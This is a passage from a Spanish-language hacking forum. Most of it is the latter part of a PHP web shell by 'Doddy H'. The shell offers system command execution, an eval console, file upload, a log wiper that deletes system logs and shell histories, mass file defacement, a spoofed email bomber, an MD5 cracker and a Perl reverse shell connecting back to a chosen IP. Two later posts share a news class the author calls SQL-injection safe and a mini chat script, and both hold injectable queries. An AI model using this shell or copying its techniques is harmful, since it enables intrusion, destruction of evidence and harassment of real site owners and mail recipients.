    echo "<td width=100><a href=?del=".$files.">Delete</a></td>";
    echo "<td width=100><a href=?perms=".$files.">Perms</a></td>";
    echo "<td width=100><a href=?copiar=".$files.">Copy</a></td>";
    echo "<td width=100><a href=?down=".$files.">Download</a></td>";
    echo "</tr><tr>";
    }
    echo "</table>";
    }


    if (isset($_GET['cmd'])) {
    echo '
    <form action="" method=POST>
    Command : <input type=text name=comando size=50><input type=submit name=ejecutar value=Now>
    </form>
    ';
    }
    if (isset($_POST['ejecutar'])) {
    echo '
    <br><br>Command<br><br>
    <fieldset>
    '.$_POST['comando'].'</fieldset>
    <br><br>Result<br><br><fieldset>';
    if (!system($_POST['comando'])) {
    echo "<script>alert('Error loading command');</script>";
    echo "Error";
    }
    echo "</fieldset><br><br>";
    }

    if (isset($_GET['upload'])) {
    echo "<center><h2>Upload files</h2></center><center><br><br><br>";
    echo '
    <form enctype="multipart/form-data" action="" method=POST>
    File : <input type=file name=archivo><br><br>
    Directory : <input type=text name=destino value='.getcwd().'>
    <input type=submit value=Upload><br>
    </form>';
    if (isset($_FILES['archivo'])) {
    $subimos = basename($_FILES['archivo']['name']);
    if (move_uploaded_file($_FILES['archivo']['tmp_name'],$subimos)) {
    if (copy($subimos,$_POST['destino']."/".$subimos)) {
    unlink($subimos);
    echo "<script>alert('File uploaded');</script>";
    }
    } else {
    echo "<script>alert('Error');</script>";
    }
    }
    }

    if (isset($_GET['base64'])) {
    echo '
    <form action="" method=POST>
    Encode : <input type=text name=code size=50><input type=submit name=codificar value=Encode>
    </form>
    <form action="" method=POST>
    Decode : <input type=text name=decode size=50><input type=submit name=decodificar value=Decode>
    </form>
    ';
    }
    if (isset($_POST['codificar'])) {
    echo "<br><br>Text<br><br><fieldset>".$_POST['code']."</fieldset><br><br>Result<br><br><fieldset>";
    echo base64_encode($_POST['code']) ;
    echo "</fieldset><br><br>";
    }

    if (isset($_POST['decodificar'])) {
    echo "<br><br>Text<br><br><fieldset>".$_POST['decode']."</fieldset><br><br>Result<br><br><fieldset>";
    echo base64_decode($_POST['decode']);
    echo "</fieldset><br><br>";
    }


    if (isset($_GET['phpconsole'])) {
    echo '
    <form action="" method=POST>
    Code : <input type=text name=codigo size="70"><input type=submit name=cargar value=OK>
    </form>
    ';
    }
    if (isset($_POST['cargar'])) {
    echo "<br><br>Code<br><br>
    <fieldset>
    ".$_POST['codigo']."
    </fieldset>
    <br><br>
    Result<br><br>
    <fieldset>";

    eval($_POST['codigo']);
    echo "</fieldset>
    ";
    }




    if (isset($_GET['logs'])) {
    echo '
    <br><br><center><h3>Zapper</h3>
    <br><br>
    <form action="" method=GET>
    <input type=submit name=clean value=Start>
    </form></center>
    <br><br>
    ';
    }

    if (isset($_GET['clean'])) {

    $paths = array("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp","/var/log/secure","/root/.ksh_history", "/root/.bash_history","/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp","/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
    "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs","/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
    "/var/log/messages/", "/var/log/proftpd/xferlog.legacy","/var/log/proftpd.xferlog", "/var/log/proftpd.access_log","/var/log/httpd/error_log", "/var/log/httpsd/ssl_log","/var/log/httpsd/ssl.access_log", "/etc/mail/access",
    "/var/log/qmail", "/var/log/smtpd", "/var/log/samba","/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority","/var/log/poplog", "/var/log/news.all", "/var/log/spooler","/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
    "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice","/var/log/news/suck.err", "/var/log/news/suck.notice","/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks","/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log","/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs","/var/log/auth");

    $comandos  = array('find / -name *.bash_history -exec rm -rf {} \;' , 'find / -name *.bash_logout -exec rm -rf {} \;','find / -name log* -exec rm -rf {} \;','find / -name  *.log -exec rm -rf {} \;','unset HISTFILE','unset SAVEHIST');

    foreach($paths as $path) {
    if(@unlink($path)) {
    echo $path.": Deleted<br>";
    }
    }
    echo "<br><br>";
    foreach($comandos as $comando) {
    echo "Loading command : ".$comando."<br>";
    system($comando);
    }
    }


    if(isset($_GET['mass'])) {
    echo "
    <form action='' method=POST>
    Directory to start : <input type=text name=dir value=".getcwd()."><br><br>
    Code : <input type=text name=codigo size=70>
    <input type=submit name=def value=Start>
    </form>
    ";
    }
    if (isset($_POST['def'])) {
    juntar($_POST['dir'],$_POST['codigo']);
    }
    function juntar ($dira,$text) {
    $dir= opendir($dira);
    while (!is_bool($archivos = readdir($dir))) {
    if ($archivos != "..") {
    if ($archivos != ".")  {
    if ($archivos != basename($_SERVER['PHP_SELF'])) {
    if (@filetype($dira."/".$archivos) == dir) {
    juntar($dira."/".$archivos,$text);
    } else {
    echo "Deface : ".$dira."/".$archivos."<br>";
    $solo = fopen($dira."\\".$archivos,"w");
    $solo = fwrite($solo,$text);
    fclose($solo);
    }}}}}}


    if (isset($_GET['chau'])) {
    if ($_GET['chau'] == "fuckit") {
    echo "<br><br><h3>Kapoom !!!</h3><br><br>";
    //unlink(basename($_SERVER['PHP_SELF']));
    } else {
    echo "<br><br><font color=red><h3><center>Acceso Denegado</center></h3></font><br><br>";
    }
    }



    if (isset($_GET['bomber'])) {
    echo "
    <form action='' method=POST>
    Target : <input type=text name=idiot [email protected]><br>
    Fake mail : <input type=text name=falso><br>
    Fake name : <input type=text name=nombrefalso><br>
    Subject : <input type=text name=asunto><br>
    Count : <input type=text name=count value=1><br>
    Message : <input type=text name=mensaje size=60><br><br>
    <br><input type=submit name=bombers value=Now>
    </form>";
    }

    if (isset($_POST['bombers'])) {

    $need .="MIME-Version: 1.0\n";
    $need .="Content-type: text/html ; charset=iso-8859-1\n";
    $need .="MIME-Version: 1.0\n";
    $need .="From: ".$_POST['nombrefalso']." <".$_POST['falso'].">\n";
    $need .="To: ".$_POST['nombrefalso']."<".$_POST['falso'].">\n";
    $need .="Reply-To:".$_POST['falso']."\n";
    $need .="X-Priority: 1\n";
    $need .="X-MSMail-Priority:Hight\n";
    $need .="X-Mailer:Widgets.com Server";


    echo "<br><br><br><center><h2>Result</h2></center><br><br>";

    for ($i = 1; $i <= $_POST['count']; $i++) {
    if(@mail($_POST['idiot'],$_POST['asunto'],$_POST['mensaje'],$need)) {
    echo "[+] Message <b>$i</b> Send<br>";
    flush();
    } else {
    echo "[+] Message <b>$i</b> not Send<br>";
    }}}

    if (isset($_GET['md5crack'])) {

    echo "

    <form action='' method=POST
    <b>Hash</b> : <input type=text name=md5 size=50><br><br>
    <b>Salt</b> : <input type=text name=salto size=50><br>
    <br><h3>Wordlist</h3>
    <textarea cols=80 rows=40 name=code></textarea>
    <br><br>
    <input type=submit value=Crack>
    </form>
    ";

    }

    if (isset($_POST['md5'])) {
    echo "<br><br><fieldset>";
    echo "[+] Starting the search<br><br>";

    $total = explode("\n",$_POST['code']);

    foreach ($total as $linea){

    $linea = chop($linea);

    if (!empty($_POST['salto'])) {
    $test = md5($linea.$_POST['salto']);
    } else {
    $test = md5($linea);
    }

    if ($test == $_POST['md5']) {
    echo "<br>[+] Hash Cracked : ".$_POST['md5'].":".$linea."<br><br>";
    exit(1);
    } else {
    echo "[+] : ".$_POST['md5']." != ".$linea."<br>";
    }
    }
    echo "<br>[+] Finished<br>";
    echo "</fieldset>";
    }

    if (isset($_GET['cookiemanager'])) {
    echo "<h2>Cookies</h2><br><br>";
    echo "[+] <b>Cookies Found</b> : ".count($_COOKIE)."<br><br>"; 

    echo "
    <br><BR><form action='' method=POST>
    New cookie : <input type=text name=cookienew><BR>
    Value : <input type=text name=valor><BR><br>
    <input type=submit value=Create><BR><br><br>
    </form><br>";


    echo "<table>";
    echo "<td class=main><b>Name</b></td><td class=main><b>Value</b></td><tr>";

    if (count($_COOKIE) != 0) {
    foreach  ($_COOKIE as $nombre=>$valor) {
    echo "<td class=main>".$nombre."</td><td class=main>".$valor."</td><tr>";
    }
    echo "</table>";
    }

    echo "<br><br>";
    }

    if (isset($_GET['sessionmanager'])) {

    @session_start();

    echo "<h2>Session</h2><br><br>";
    echo "[+] <b>Sessions Found</b> : ".count($_SESSION)."<br><br>"; 


    echo "
    <br><BR><form action='' method=POST>
    New session : <input type=text name=sessionew><BR>
    Value : <input type=text name=valor><BR><br>
    <input type=submit value=Create><BR><br><br>
    </form><br>";


    if (count($_SESSION) != 0) {

    echo "<table>";
    echo "<td class=main><b>Name</b></td><td class=main><b>Value</b></td><tr>";

    foreach  ($_SESSION as $nombre=>$valor) {
    echo "<td class=main>".$nombre."</td><td class=main>".$valor."</td><tr>";
    }
    echo "</table>";
    }
    }

    if (isset($_GET['ftp'])) {
    echo "<h2>FTP Manager</h2><br><br>";
    echo "

    <form action='' method=GET>
    Server : <input type=text name=serverftp value=127.0.0.1><br>
    User : <input type=text name=user value=doddy><br>
    Pass : <input type=text name=pass value=123><br><br><br>
    <input type=hidden name=diar value=/>
    <input type=submit value=Connect><br><br>
    </form>
    ";

    }

    if (isset($_GET['renamenow'])) {

    echo "

    <form action='' method=GET>
    File : <input type=text name=renamenowx value=".$_GET['renamenow']."><br>
    New name : <input type=text name=newname><br><br>
    <input type=hidden name=serverftp value=".$_GET['serverftp'].">
    <input type=hidden name=user value=".$_GET['user'].">
    <input type=hidden name=pass value=".$_GET['pass'].">
    <input type=hidden name=diar value=".$_GET['diar'].">
    <input type=submit value=Rename>
    </form>
    ";
    exit(1);
    }


    if (isset($_GET['renamenowx'])) {

    $enter = ftp_connect($_GET['serverftp']);
    $dentro = ftp_login($enter,$_GET['user'],$_GET['pass']);

    if (ftp_rename($enter,$_GET['renamenowx'],$_GET['newname'])) {
    echo "<script>alert('Changed');</script>";
    echo '<meta http-equiv="refresh" content="0;URL=?serverftp='.$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar'].'>';
    } else {
    echo "<script>alert('Error');</script>";
    }
    }



    if (isset($_GET['deletenow'])) {

    $enter = ftp_connect($_GET['serverftp']);
    $dentro = ftp_login($enter,$_GET['user'],$_GET['pass']);

    if ($_GET['controla'] == "dir") {
    if (@ftp_rmdir($enter,$_GET['deletenow'])) {
    echo "<script>alert('Directory Deleted');</script>";
    echo '<meta http-equiv="refresh" content="0;URL=?serverftp='.$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar'].'>';
    } else {
    echo "<script>alert('Error');</script>";
    }

    } else {

    if (@ftp_delete($enter, $_GET['deletenow'])) {
    echo "<script>alert('File Deleted');</script>";
    echo '<meta http-equiv="refresh" content="0;URL=?serverftp='.$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar'].'>';
    } else {
    echo "<script>alert('Error');</script>";
    }

    }
    }


    if (isset($_GET['permsdown'])) {

    echo "<form action='' method=GET>
    File : <input type=text name=filetochange value=".$_GET['permsdown'].">
    Perms : <input type=text name=pe value=0777 >
    <input type=hidden name=serverftp value=".$_GET['serverftp'].">
    <input type=hidden name=user value=".$_GET['user'].">
    <input type=hidden name=pass value=".$_GET['pass'].">
    <input type=submit value=Change>
    </form>";
    exit(1);
    }

    if (isset($_GET['filetochange'])) {

    $enter = ftp_connect($_GET['serverftp']);
    $dentro = ftp_login($enter,$_GET['user'],$_GET['pass']);

    if (@ftp_chmod($enter,$_GET['pe'],$_GET['filetochange'])) {
    echo "<script>alert('Changed');</script>";
    } else {
    echo "<script>alert('Error');</script>";
    }

    }


    if (isset($_GET['serverftp'])) {

    if ($enter = @ftp_connect("127.0.0.1")) {
    if ($dentro = @ftp_login($enter,"doddy","123")) {
    echo "<br><b>[+] Connected to server</b><br>";
    } else {
    echo "<br><b>[-] Error in the login</b><br><br>";
    }

    echo "<b>[+] ONline</b><br><br><br>";

    echo "

    <form action='' method=GET>
    Directory : <input type=text name=diar value=";
    if (empty($_GET['diar'])) {
    echo ftp_pwd($enter);
    } else {
    echo $_GET['diar'];
    }

    echo ">
    <input type=hidden name=serverftp value=".$_GET['serverftp'].">
    <input type=hidden name=user value=".$_GET['user'].">
    <input type=hidden name=pass value=".$_GET['pass'].">

    <input type=submit value=Load>
    </form>
    <br><br>
    <form action='' method=GET>
    New directory : <input type=text name=newdirftp><input type=submit value=Load>
    <input type=hidden name=serverftp value=".$_GET['serverftp'].">
    <input type=hidden name=user value=".$_GET['user'].">
    <input type=hidden name=pass value=".$_GET['pass'].">
    <input type=hidden name=diar value=".$_GET['diar'].">
    </form>
    <br><br>

    <br><br>";

    if (isset($_GET['diar'])) {

    $enter = ftp_connect($_GET['serverftp']);
    $dentro = ftp_login($enter,$_GET['user'],$_GET['pass']);

    if (empty($_GET['diar'])) {

    if (!$lista = ftp_nlist($enter.".")) {
    echo "<script>alert('Error loading directory');</script>";
    exit(1);
    }

    } else {

    if (!$lista = ftp_nlist($enter,$_GET['diar'])) {
    echo "<script>alert('Error loading directory');</script>";
    exit(1);
    }

    }
    }

    echo "<table>";
    foreach ($lista as $ver) {
    echo "<td class=main>".$ver."</td>";

    if (ftp_size($enter,ftp_pwd($enter).$ver) == -1) {

    echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$ver.">Enter</a></td>";
    echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar']."&renamenow=".$ver.">Rename</a></td>";
    echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&controla=dir&diar=".$_GET['diar']."&deletenow=".$ver.">Delete</a></td>";
    echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&permsdown=".$ver.">Perms</a></td>";
    echo "<td class=main>--</a></td><tr>";

    } else {

    echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$ver.">--</a></td>";
    echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar']."&renamenow=".$ver.">Rename</a></td>";
    echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&controla=file&diar=".$_GET['diar']."&deletenow=".$ver.">Delete</a></td>";
    echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&permsdown=".$ver.">Perms</a></td>";
    echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar']."&downfile=".$ver.">Download</a></td><tr>";

    }

    }

    echo "</table>";

    } else {
    echo "<b>[-] Error in the server</b><br><br>";
    }
    }


    if (isset($_GET['downfile'])) {

    $enter = ftp_connect($_GET['serverftp']);
    $dentro = ftp_login($enter,$_GET['user'],$_GET['pass']);

    $nuevo = fopen(basename($_GET['downfile']),'w');

    if (ftp_fget($enter,$nuevo,$_GET['downfile'], FTP_ASCII, 0)) {
    echo "<script>alert('File Download');</script>";
    echo '<meta http-equiv="refresh" content="0;URL=?serverftp='.$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar'].'>';
    } else {
    echo "<script>alert('Error in the download');</script>";
    }

    ftp_close($enter);
    fclose($nuevo);

    }

    if (isset($_GET['newdirftp'])) {

    $enter = ftp_connect($_GET['serverftp']);
    $dentro = ftp_login($enter,$_GET['user'],$_GET['pass']);

    if (ftp_mkdir($enter,$_GET['diar'].$_GET['newdirftp'])) {
    echo "<script>alert('Directory created');</script>";
    echo '<meta http-equiv="refresh" content="0;URL=?serverftp='.$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar'].'>';
    } else {
    echo "<script>alert('Error');</script>";
    }
    }

    if (isset($_GET['backshell'])) {

    echo "

    <form action='' method=GET>
    IP : <input type=text name=ip value=".$_SERVER['REMOTE_ADDR']."><br>
    Port : <input type=text name=port value=666><br><br>
    Type : <select name=tipo>
    <option>Perl</option>
    </select>
    <br><br><br>
    <input type=submit value=Conectar>

    ";
    }

    if (isset($_GET['ip'])) {


    if ($_GET['tipo']=="Perl") {

    $code = '
    #!usr/bin/perl
    #Reverse Shell 0.1
    #By Doddy H

    use IO::Socket;

    print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";

    unless (@ARGV == 2) {
    print "[Sintax] : $0 <host> <port>\n\n";
    exit(1);
    } else {
    print "[+] Starting the connection\n";
    print "[+] Enter in the system\n";
    print "[+] Enjoy !!!\n\n";
    conectar($ARGV[0],$ARGV[1]);
    tipo();
    }

    sub conectar {

    socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
    connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
    open (STDIN,">&REVERSE");
    open (STDOUT,">&REVERSE");
    open (STDERR,">&REVERSE");
    }

    sub tipo {
    print "\n[*] Reverse Shell Starting...\n\n";
    if ($^O =~/Win32/ig) {
    infowin();
    system("cmd.exe");
    } else {
    infolinux();
    system("export TERM=xterm;exec sh -i");
    }
    }

    sub infowin {
    print "[+] Domain Name : ".Win32::DomainName()."\n";
    print "[+] OS Version : ".Win32::GetOSName()."\n";
    print "[+] Username : ".Win32::LoginName()."\n\n\n";
    }

    sub infolinux {
    print "[+] System information\n\n";
    system("uname -a");
    print "\n\n";
    }

    # ¿ The End ?

    ';

    $de = $_SERVER["HTTP_USER_AGENT"];

    if(eregi("Win",$de)){
    if ($test =  fopen("back.pl","w")) {
    echo "<br><br><b>[+] Shell Created</b><br>";
    } else {
    echo "<br><br><b>[-] Error creating the shell</b><br>";
    }
    } else {

    if ($test = fopen("/tmp/back.pl","w")) {
    echo "<br><br><b>[+] Shell Created</b><br>";
    } else {
    echo "<br><br><b>[-] Error creating the shell</b><br>";
    }

    }

    if (fwrite($test,$code)) {

    if(eregi("Win",$de)){
    if (chmod("back.pl",0777)) {
    echo "<b>[+] Perms Changed<br></b>";
    } else {
    echo "<b>[-] Not priviligies to changed permissions</b><br>";
    }
    echo "<b>[+] Loading Shell</b><br><br><br>";
    echo "<fieldset>";
    if (!system("perl back.pl ".$_GET['ip']. " ".$_GET['port'])) {
    echo "<script>alert('Error Loading Shell');</script>";
    }
    echo "</fieldset>";
    } else {
    if (chmod("/tmp/back.pl",0777)) {
    echo "<b>[+] Perms Changed<br></b>";
    } else {
    echo "<b>[-] Not priviligies to changed permissions</b><br>";
    }
    echo "<b>[+] Loading Shell</b><br><br><br>";
    echo "<fieldset>";
    if (!system("cd /tmp;perl back.pl ".$_GET['ip']. " ".$_GET['port'])) {
    echo "<script>alert('Error Loading Shell');</script>";
    }
    echo "</fieldset>";
    }
    } else {
    echo "<br><b>[-] Error writing in the shell<br><br></b>";
    }
    }
    }

    if (isset($_GET['sql'])) {

    echo "

    <h2>SQL Manager</h2><br><br>

    <form action='' method=GET>
    Server : <input type=text name=host value=localhost><br>
    User : <input type=text name=usuario value=root><br>
    Pass : <input type=text name=password value=123><br><br>
    <input type=submit name=entersql value=Connect>
    </form>
    ";

    }

    if (isset($_GET['entersql'])) {

    if ($mysql = @mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password'])) {
    if ($databases = @mysql_list_dbs($mysql)) {

    echo "<br><br><h2>Databases Found</h2><br>";
    echo "<table>";
    while($dat = @mysql_fetch_row($databases)) {
    foreach($dat as $indice => $valor) {
    echo  "<td class=main>$valor</td><td class=main><a href=?datear=$valor&host=".$_GET['host']."&usuario=".$_GET['usuario']."&password=".$_GET['password']."&enterdb=".$valor.">Enter</a></td><td class=main><a href=?datear=$valor&host=".$_GET['host']."&usuario=".$_GET['usuario']."&password=".$_GET['password']."&bajardb=".$valor.">Download</a></td><tr>";
    }
    }
    echo "</table>";
    } else {
    echo "<script>alert('Error loading databases');</script>";
    exit(1);
    }
    } else {
    echo "<script>alert('Error');</script>";
    exit(1);
    }
    }

    if (isset($_GET['enterdb'])) {

    $mysql = mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']);
    mysql_select_db($_GET['enterdb']);
    $tablas = mysql_query("show tables from ".$_GET['enterdb'])  or die("error");
    echo "<br><h2>Tables Found</h2><br><br><table>";
    while ($tabla = mysql_fetch_row($tablas)) {
    foreach($tabla as $indice => $valor) {
    echo "<td class=main>$valor</td><td class=main><a href=?datear=$valor&host=".$_GET['host']."&usuario=".$_GET['usuario']."&password=".$_GET['password']."&entertable=".$valor."&condb=".$_GET['enterdb'].">Enter</a></td></td><td class=main><a href=?datear=$valor&host=".$_GET['host']."&usuario=".$_GET['usuario']."&password=".$_GET['password']."&bajartabla=".$valor."&condb=".$_GET['enterdb'].">Download</a><tr>";
    }
    }
    echo "</table>";
    }

    if (isset($_GET['entertable'])) {

    $mysql = mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']);
    mysql_select_db($_GET['condb']);

    echo "<br><h2>SQL Manager</h2>
    <br><br>
    <form action='' method=POST>
    Consulta SQL : <input type=text name=sentencia size=70>
    <br><br><br>
    <input type=hidden name=host value=".$_GET['host'].">
    <input type=hidden name=usuario value=".$_GET['usuario'].">
    <input type=hidden name=password value=".$_GET['password'].">
    <input type=hidden name=condb value=".$_GET['database'].">
    <input type=hidden name=entertable value=".$_GET['tabla'].">
    <input type=submit name=mostrar value=eNViar>
    </form>
    <br><br><br><br><br>";

    $conexion = mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']) or die("<h1>Error</h1>");
    mysql_select_db($_GET['condb']);

    if (isset($_POST['mostrar'])) {
    if(!empty($_POST['sentencia'])) {
    $resultado =  mysql_query($_POST['sentencia']);
    } else {
    $resultado = mysql_query("SELECT * FROM ".$_GET['entertable']);
    }

    $numer = 0;

    echo "<table>";
    for ($i=0;$i< mysql_num_fields($resultado);$i++) {
    echo "<th class=main>".mysql_field_name($resultado,$i)."</th>";
    $numer++;
    }
    while($dat = mysql_fetch_row($resultado)) {
    echo "<tr>";
    foreach($dat as $val) {
    echo "<td class=main>".$val."</td>";
    }
    }
    echo "</tr></table>";
    }
    }

    echo "<br><br>";

    } else {


    echo "
    <form action='' method=POST>
    user : <input type=text name=user><br>
    pass : <input type=text name=pass><br><br>
    <input type=submit value=Login>
    </form>
    ";

    }

    // ¿ The End ?

    ?>



    Cualquier sugerencia o error digamenlo para mejorar
#478

Hola a todos

Acabo de hacer mi segunda POO en php , se trata de un simple sistema
de noticias llamada "noticion" xDDD

Apararentemente es segura contra SQLI , y posee las siguientes funciones para manejar noticias

  • Conectar con la DB

    Código: text

    datos("server","user","pass","db","tabla","columna id","columna titulo","columna contenido","columna fecha")


  • Crear noticia con

    Código: text

    crear("id","titulo","contenido","fecha")


  • Eliminar noticia con

    Código: text

    eliminar("id de la noticia")


  • Ver contenido de noticia

    Código: text

    ver("id de la noticia")


    Devuelve un array con el que pueden ver cada columna con sus datos

  • Modificar contenido de noticia

    Código: text

    mod("nuevo id","nuevo titulo","nuevo contenido","nueva fecha")


    Eso seria todo

    Codigo de noticion.php

    Código: text

    <?php

    /*

    Noticion 0.3

    (c) DOddy Hackman 2010


    Anti SQLI

    */


    class noticion {


    private $host;
    private $db;
    private $user;
    private $pass;
    private $tabla;
    private $id;
    private $titulo;
    private $contenido;
    private $fecha;
    private $x_id;
    private $x_titulo;
    private $x_contenido;
    private $_fecha;
    private $tit;
    private $con;
    private $fech;



    public function datos($host,$user,$pass,$db,$tabla,$id,$titulo,$contenido,$fecha) {
    $this->host = $host;
    $this->db = $db;
    $this->user = $user;
    $this->pass = $pass;
    $this->tabla = $tabla;
    $this->id = $id;
    $this->titulo = $titulo;
    $this->contenido = $contenido;
    $this->fecha = $fecha;
    $test = mysql_connect($host,$user,$pass);
    @mysql_select_db($db,$test);

    }

    public function eliminar($id) {
    if (is_numeric($id)) {
    if (@mysql_query("DELETE FROM ".$this->tabla." where id='".$id."'")) {
    return true;
    }
    }
    }

    public function nuevo($x_id,$x_titulo,$x_contenido,$x_fecha) {
    if (is_numeric($x_id)) {
    if (@mysql_query("INSERT INTO ".$this->tabla."(".$this->id.",".$this->titulo.",".$this->contenido.",".$this->fecha.")values('".$x_id."','".$x_titulo."','".$x_contenido."','$x_fecha')")) {
    return true;
    }
    }
    }

    public function ver($id) {
    if (is_numeric($id)) {
    if ($que = @mysql_query("SELECT ".$this->id.",".$this->titulo.",".$this->contenido.",".$this->fecha." FROM ".$this->tabla." WHERE ".$this->id."='".$id."'")) {
    while ($ver = @mysql_fetch_array($que)) {
    return array($ver[0],$ver[1],$ver[2],$ver[3]);
    }
    }
    }
    }

    public function mod($id,$tit,$con,$fech) {
    if (is_numeric($id)) {
    if (@mysql_query("UPDATE ".$this->tabla." SET ".$this->id."="."'".$id."'".",".$this->titulo."="."'".$tit."'".",".$this->contenido."="."'".$con."'".",".$this->fecha."="."'".$fech."'"." where id='".$id."'")) {
    return true;
    }
    }
    }

    public function close() {
    $test->close;
    }


    }

    ?>


    Ejemplo de uso

    noticia.php

    Código: text

    <?php


    include("noticion.php");
    $noti = New noticion;
    $noti->datos("localhost","root","123","noticias","noticia","id","titulo","cotenido","fecha");
    //$noti->nuevo("3","hola","dfdfdfdf","5465465");
    $noti->eliminar("'");

    if ($noti->mod("3","holax","dfdfdfdf","5465465")) {
    echo "cambiado<br><br>";
    }

    if ($ver = $noti->ver(3)) {
    echo $ver[1]."<br>";
    }



    //}

    //if ($noti->mod("1","cambie","cambie,"cambie")) {
    //echo "cambiado";
    //}



    Como siempre , cualquier falla ,vulnerabilidad ,sugerencia  seran
    bienvenidas para la mejora de la clase

#479
Back-end / [PHP] Simple Chat By Doddy H
Julio 03, 2011, 09:51:25 PM
Como dice el titulo , es un simple chat que se divide en 3 partes

install.php

Código: php

<?php

//Datos para la DB

$host = "localhost";
$user = "root";
$pass = "";
$db = "chat";

echo "
<title>Instalacion de mini chat</title>
<br><br><b>Seguro que desea instalar mini chat</b><br><br>
<form action='' method=POST>
<input type=submit name=instalar value=Instalar>
</form>
<br><br>";


if (isset($_POST['instalar'])) {

if (mysql_connect($host,$user,$pass)) {

$todo2 = "create table $db.mensajes (
id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
apodo VARCHAR(255) NOT NULL,
PRIMARY KEY (id_comentario));
";


if (@mysql_query($todo1)) {
echo "1";
if (@mysql_query($todo2)) {
echo "chat instalado<br>";
}
} else {
echo "error en la instalacion<br>";
}
} else {
echo "error en la conexion con la db<br>";
}
}

?>


admin.php

Código: php

<?php

$host = "localhost";
$user = "root";
$pass = "";

$usera = "test";
$passa = "test";

if (isset($_GET['user'])) {

if ($_GET['user'] == $usera) {
if ($_GET['pass'] == $passa) {

@mysql_connect($host,$user,$pass);

$re = @mysql_query("select * from chat.mensajes");

if (is_numeric($_GET['id'])) {
if (@mysql_query("delete from chat.mensajes where id_comentario='".$_GET['id']."'")) {
echo "<script>alert('Comentario borrado');</script>";
}
}


while ($ver = @mysql_fetch_array($re)) {
echo "<a href=?user=".$usera."&pass=".$passa."&id=".$ver[0].">Borrar comentario ".$ver[0]."</a><br>";
}

}
}


}

?>


index.php

Código: php

<?php

$db = "chat"; //
$host = "localhost";
$user = "root";
$pass = "";

echo "
<style>

.main {
word-wrap: break-word;
word-break:break-all;
margin : -287px 0px 0px -490px;
border : White solid 1px;
BORDER-COLOR: #00FF00;
}

td,body {
background-color:black;color:#00FF00;
}


input,textarea,select {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;color:#00FF00;
border: solid 1px #00FF00;
border-color:#00FF00
}

</style>";

mysql_connect($host,$user,$pass);
mysql_select_db($db);

echo "<table border=0 width='300' style='table-layout: fixed'>";
echo "<td class=main><b>Mini Chat 0.2</b></td><tr>";


$sumo = mysql_query("SELECT MAX(id_comentario) FROM $db.mensajes");

$s = mysql_fetch_row($sumo);

foreach ($s as $d) {
$total = $d;
}

$test = $total - 10;

if ($test <= 0) {
next;
} else {
$resto = $test;

for ($i = 1; $i <= $resto; $i++) {
@mysql_query("DELETE FROM $db.mensajes where id_comentario='$i'");
}

}


$re = @mysql_query("select * from $db.mensajes order by id_comentario DESC");

while ($ver = @mysql_fetch_array($re)) {
echo "<td class=main><b>".$ver[2]."</b>:".$ver[1]."</td><tr>";
}


echo "<br><br><td class=main><br><b>Dejar mensaje</b><br><br>
<form action='' method=POST>
Apodo : <input type=text name=apodo size=25><br>
Texto : <input type=text name=msg size=25><br><br>
<input type=submit name=chatentro value=Mandar>
</form>
<td><tr>
<td class=main><b>Coded By Doddy H</b></td><tr>
</table>";


if (isset($_POST['chatentro'])) {

$sumo = mysql_query("SELECT MAX(id_comentario) FROM $db"."."."mensajes");

$s = mysql_fetch_row($sumo);

foreach ($s as $d) {
$x_id = $d+1;
}

$apodo = htmlentities(addslashes($_POST['apodo']));
$mensaje  = htmlentities(addslashes($_POST['msg']));

$apodo = substr($apodo,0,70);
$mensaje = substr($mensaje,0,70);

$insultos = array("lammer","lamer","puto","noob");

foreach ($insultos as $con) {
$mensaje = str_replace($con,"#$!*",$mensaje);
$apodo = str_replace($con,"#$!*",$apodo);
}

@mysql_query("INSERT INTO $db"."."."mensajes"."("."id_comentario".","."apodo".","."mensaje".")values('".$x_id."','".$apodo."','".$mensaje."')");

echo '<meta http-equiv="refresh" content=0;URL=>';

}

?>


